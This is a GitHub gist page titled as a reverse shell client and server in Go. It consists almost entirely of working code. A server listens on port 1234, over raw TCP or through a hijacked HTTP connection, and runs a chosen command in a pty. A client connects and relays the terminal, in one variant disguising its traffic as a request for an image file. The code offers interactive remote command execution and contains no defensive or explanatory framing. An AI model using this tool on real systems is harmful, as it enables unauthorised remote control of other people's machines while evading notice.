Skip to content

Instantly share code, notes, and snippets.

@tehmoon
Last active April 15, 2018 01:31
Show Gist options
  • Save tehmoon/7c72db32ed59f52cea3964d353f99e50 to your computer and use it in GitHub Desktop.
Save tehmoon/7c72db32ed59f52cea3964d353f99e50 to your computer and use it in GitHub Desktop.
Reverse shell client/server in go!
package main
import (
"io"
"os"
"net/http"
"net/http/httputil"
"net"
"golang.org/x/crypto/ssh/terminal"
"fmt"
)
// test() is compatible with test() server mode
// test2() is compatible with test2() server mode
func test() error {
conn, err := net.Dial("tcp4", os.Args[1])
if err != nil {
panic(err)
}
// Set stdin in raw mode.
oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
panic(err)
}
defer terminal.Restore(int(os.Stdin.Fd()), oldState) // Best effort.
// Copy stdin to the pty and the pty to stdout.
conn.Write([]byte("true\n"))
go io.Copy(conn, os.Stdin)
io.Copy(os.Stdout, conn)
return nil
}
func test2() {
conn, err := net.Dial("tcp4", os.Args[1])
if err != nil {
panic(err)
}
req, err := http.NewRequest("GET", fmt.Sprintf("%s://%s/%s", "http", os.Args[1], "toto.png"), nil)
if err != nil {
panic(err)
}
clc := httputil.NewClientConn(conn, nil)
_, err = clc.Do(req)
if err != nil {
panic(err)
}
defer clc.Close()
c, reader := clc.Hijack()
oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
panic(err)
}
defer terminal.Restore(int(os.Stdin.Fd()), oldState) // Best effort.
go io.Copy(c, os.Stdin)
io.Copy(os.Stdout, reader)
}
func main() {
test2()
}
package main
import (
"net/http"
"os"
"io"
"log"
"net"
"os/exec"
"github.com/kr/pty"
"encoding/hex"
)
// test() is for basic tcp server
// test2() is for http based server
func test() error {
l, err := net.Listen("tcp4", "0.0.0.0:1234")
if err != nil {
panic(err)
}
for {
conn, err := l.Accept()
if err != nil {
log.Printf("Err: %s\n", err.Error())
continue
}
log.Println("Forking new conn")
go func(conn net.Conn) {
c := exec.Command(os.Args[1], os.Args[2:]...)
// Start the command with a pty.
ptmx, err := pty.Start(c)
if err != nil {
log.Printf("Err starting command: %s\n", err.Error())
return
}
defer conn.Close()
defer ptmx.Close()
writer := hex.Dumper(os.Stderr)
reader := io.TeeReader(conn, writer)
defer writer.Close()
go io.Copy(ptmx, reader)
io.Copy(conn, ptmx)
log.Println("terminating")
}(conn)
}
return nil
}
func test2() {
http.HandleFunc("/", func (w http.ResponseWriter, r *http.Request) {
log.Println("new conn")
defer log.Println("conn closed")
hj, ok := w.(http.Hijacker)
if ! ok {
log.Println("Hijacker is not possible on this connection")
return
}
w.WriteHeader(200)
conn, bufrw, err := hj.Hijack()
if err != nil {
log.Printf("There has been an error hijacking the connection: %s\n", err.Error())
return
}
defer conn.Close()
log.Println("Connection hijacked")
c := exec.Command(os.Args[1], os.Args[2:]...)
ptmx, err := pty.Start(c)
if err != nil {
log.Printf("Err starting command: %s\n", err.Error())
return
}
defer ptmx.Close()
log.Println("pty created")
go io.Copy(ptmx, bufrw)
io.Copy(bufrw, ptmx)
})
http.ListenAndServe(":1234", nil)
}
func main() {
test2()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment